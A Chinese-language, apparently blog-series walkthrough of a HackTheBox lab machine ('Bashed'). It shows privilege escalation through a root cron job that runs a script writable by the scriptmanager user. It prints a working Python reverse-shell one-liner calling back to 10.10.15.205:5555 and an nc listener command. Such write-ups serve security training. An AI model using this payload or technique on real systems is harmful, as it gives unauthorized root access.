Day 9 我們已經成功取得 Reverse Shell,順利切換成 scriptmanager,並把 TTY Upgrade 搞定,一切看起來如此完美~~~
但……
我們拿到的是 scriptmanager,不是 root!
那要怎麼從 scriptmanager 到 root 呢???
提權不是猜謎,是有系統地找機會><
還記得我們在 Day 7 一起走過的「拿到 Shell後的SOP」嗎?
Day 8 的時候我們是 www-data,當時已經跑過一輪基本的列舉,知道我們是誰、現在有什麼權限、這台機器是什麼樣的環境,以及一起一路挖寶!
現在雖然換成了 scriptmanager,但......拿到Shel後的SOP你會想全部再走一輪嗎xddd
(小麻煩!!!人家滲透測是要測試也要準備報告,客戶也不只一個
而且......我們只是換了一個身分><還是在同一台機器呀
我們只要把注意力放在「換成 scriptmanager 之後,哪些東西變得不一樣」就好~
我們真正要關心的是:換了身份,會改變什麼?
身份變了,權限也跟著變了!
那我們現在的力量有多大?
之前 www-data 碰不到、做不到的事情,變成 scriptmanager 之後,是不是就有機會做到了?
10.129.73.144
換了身份後不要慌,我們一起照著拿到 Shell 後的 SOP,一步一步熟悉我們的新身份!
Day 8 的時候是 www-data,當時已經跑過一輪了——發現 sudo -l 可以切換到 scriptmanager,也在 /home 目錄看到 scriptmanager 有 /scripts 這個目錄。
現在換成 scriptmanager,不需要全部重來~
但有幾個地方,換了身份之後值得重新看看:
sudo -l:scriptmanager 有沒有不同的 sudo 權限?說不定可以水平提權,甚至直接垂直提權(太完美了!!!/scripts:之前看到這個目錄的owner是 scriptmanager~都變身為scriptmanager哩!一定要進去一探究竟!那就一個一個來吧!
我們下 sudo -l, 看看 scriptmanager 有沒有什麼 sudo 權限~

可惡!!!出現
[sudo] password for scriptmanager:
要我輸入密碼!這是什麼意思
我不是 scriptmanager 嗎?為什麼我要看自己的權限還要輸入密碼?
再確定一次我到底是誰!!!下whoami

咦~沒跳掉呀! 我確實還是scriptmanager,查一下到底發生什麼事???
原來~sudo -l 不是每次都有收穫。(嗚嗚 Day 8的我們真的好幸運><
sudo -l 後~有三種可能的結果:
(但我的身分是偷來的~我哪知道他的密碼QQ 這條路先跳過吧~~)
既然 sudo -l 暫時走不通,我們就回頭先看看 Day 8 留下來的線索吧
Day 8 我們有看到 /scripts 這個directory的owner是 scriptmanager(是我!!!)
現在我們就是 scriptmanager,趕快來看看這個檔案!!!
輸入 pwd 看我們現在在哪
那個......沒記錯的話....../scripts好像住在根目錄?
我們用ls -al ../../../../看看根目錄有沒有他!也順便看看這個directory的rwx權限)


既然都確認位置了,我們趕快來看看裡面有什麼👀
我們下
ls -al /scripts
ls -al 顯示的是最後修改時間
結果:
資料夾裡可以看到有 .、.. 這兩個 directory,還有 test.py、test.txt 這 2 個檔案。
好酷!!!test.txt的owner是root耶
為什麼root會住在我家(/scripts)!!!還跟我家檔案(test.py)名子那麼像
一個是 test.py,一個是 test.txt
這兩個檔案該不會有什麼關係(?)
另外!test.txt旁邊的時間 雖然跟上面看起來沒一模一樣
但......這個日期看起來好像是今天(Sep 24)耶👀
真的是今天嗎?
我直接在靶機上用 timedatectl 看一下~
這裡可以看到靶機目前的時間、時區等等資訊!
很好奇這個檔案的最後修改時間怎麼會剛好是今天?
看了一下靶機時間,現在大約是 05:00:00, test.txt 的最後修改時間是 04:45!!!
才過了 15 分鐘...... 👀
test.txt 的權限又是:
-rw-r--r-- 1 root root
root 真的有那麼閒,一直在改檔案ㄇ 😂
還是其實……有什麼東西會自動幫 root 改這個檔案?👀

test.txt我們下 cat /scripts/test.txt,偷看他一下
好像沒有什麼特別的~
test.pycat /scripts/test.py

testing 123!
這不是剛剛 test.txt 裡面的內容嗎?
我寫什麼,root 的 test.txt 就變成什麼???
那我請他把 root 的身分交出 >< 可以ㄇ
我們下nano /scripts/test.py
出現
我來把"testing 123!" 變成 "testing 456!",如果test.txt內容也變 "testing 456!",就......代表我可以決定root要執行的檔案的內容耶(想變root惹><

按Ctrl+O 存檔,接著按 Enter 確認,再按 Ctrl+X 離開,nano 問我們要不要存(Save modified buffer?),按 N 離開——因為剛才 Ctrl+O 已經存過了,不需要再存一次><
接著下cat /scripts/test.py
我們有修改成功耶
再下cat /scripts/test.txt
挖!這個檔案真的變了!!!
看起來真的有某個東西在定期跑 test.py!!而且偷偷說我可以控制test.py的內容!!!
但定期跑 test.py的是誰?
回頭看一下test.py的權限:
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Sep 24 04:45 test.txt
test.py這個檔案的權限是rw-r--r--,
但 test.txt 還是更新了,而且是 root 的。
那它到底怎麼被跑起來的 🤔
偷偷查了一下~原來 x 權限(execute)只管「直接跑」這個動作。但如果換成 python test.py——Python 只是去讀這個檔案的內容、照著執行,不需要檔案本身有 x 權限。所以沒有 x 不代表沒辦法被執行,只是不能「直接」跑而已。
如果有人設定了一個排程,讓 root 每隔一分鐘就用 python 跑 /scripts 裡的腳本——就能解釋我們看到的一切了!
這種「定時自動執行」的機制,在 Linux 叫做 cron job~
去確認一下是不是真的有這個設定:
Linux 的排程設定分散在幾個地方,我們可以從這三個地方找是不是真的有 cron job 在跑我們的/scripts:/etc/crontab → 系統的主要排程/etc/cron.d/ → 其他系統排程/var/spool/cron/crontabs/→ 各個使用者自己的排程
我們下cat /etc/crontab
沒有找到針對 /scripts 的排程
我們下cat /etc/cron.d/*
也沒找到
最後試試ls -la /var/spool/cron/crontabs/
欸!看到 root 的 crontab 檔案了——但我們是 scriptmanager,沒有權限讀它 QQ
沒辦法直接確認內容,但 test.txt 確實有在更新,而且 test.py 根本沒有 execute 權限——這兩個事實加在一起,我們大膽懷疑很可能是 root 的 cron job 在定期跑 /scripts 裡的腳本!
證據不完整,但方向是對的。繼續往下走
提權時間
今天最重要的任務是提權,既然發現我們可以改疑似由root的cron job執行的test.py,那我們就加個reverse shell,讓root自動連過來,把權限乖乖交給我們(哈哈哈我才是root!
step 1 開啟一個新terminal,輸入 nc -lvnp 5555
用 5555 這個 port,跟之前的 4444 區分開來
step 2 修改 test.py——把 reverse shell 寫進去
之前 Day 9 的 reverse shell 是自己在 phpbash 執行的,這次換一種方式——把同樣的 reverse shell 程式碼寫進 test.py,讓 root 的 cron job 幫我們執行。效果是一樣的:建立 socket → 連回 Pwnbox → 拿到 shell。差別是這次執行的人是 root,所以拿到的也是 root 的 shell
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.15.205',5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn('sh')" > /scripts/test.py
這次不用加 python3 -c,直接寫 Python 程式碼進去,cron job 會直接跑這個檔案> /scripts/test.py:覆蓋寫入 test.py,取代原本的內容

step 3 回我們的監聽畫面,輸入whoami
成功的一刻!!!我們拿到root了!!!
拿到 root 之後,回頭把之前沒有權限讀的 crontab 打開確認:
下ls -la /var/spool/cron/crontabs/
下cat /var/spool/cron/crontabs/root
找到了——root 每分鐘都會進到 /scripts,用 python 跑所有 .py 檔案!
* * * * * 是 cron 的時間格式,五個欄位代表「分鐘、小時、日期、月份、星期幾」,全部都是 * 代表不限制,也就是每分鐘執行一次。
我們的推測是對的——而且現在也確認了為什麼 test.py 沒有 x (execute) 權限,還是能被 root 執行 ><
答案揭曉~~因為是 Python 直接去讀 test.py 的內容,不是 root 直接執行這個檔案。
我們在 Day 7 透過 Nmap 知道目標機器 Bashed 開了 80 port,透過目錄爆破找到隱藏的開發者遺留下的 directory。
Day 8 從 directory 中找到可以讓我們輸入指令的 Webshell,透過 Webshell 做目標機器的情蒐,發現 www-data 有 sudo 權限可以切換到 scriptmanager。
Day 9 建立 Python Reverse Shell,切換到 scriptmanager,再做 TTY 升級,取得穩定的終端機連線。
Day 10 今天,我們發現 scriptmanager 擁有的 /scripts/test.py 剛好是 root 排程每分鐘都會執行的腳本——而且我們可以修改它,我們用 reverse shell 覆蓋原本的 test.py,讓 root 排程執行,連回來後,我們所拿到的就是 root shell,擁有 root 的權限哩!!!耶~~~
提權成功!!!🎉
整條攻擊鏈:
Port 80
→ 目錄爆破找到 phpbash
→ Webshell 情蒐
→ www-data 透過 sudo 切換到 scriptmanager
→ 發現 scriptmanager 可修改 /scripts/test.py
→ 發現 root Cron 每分鐘執行 /scripts/*.py
→ 修改 test.py → Reverse Shell → root
明天就是寫 report 囉!我們明天見~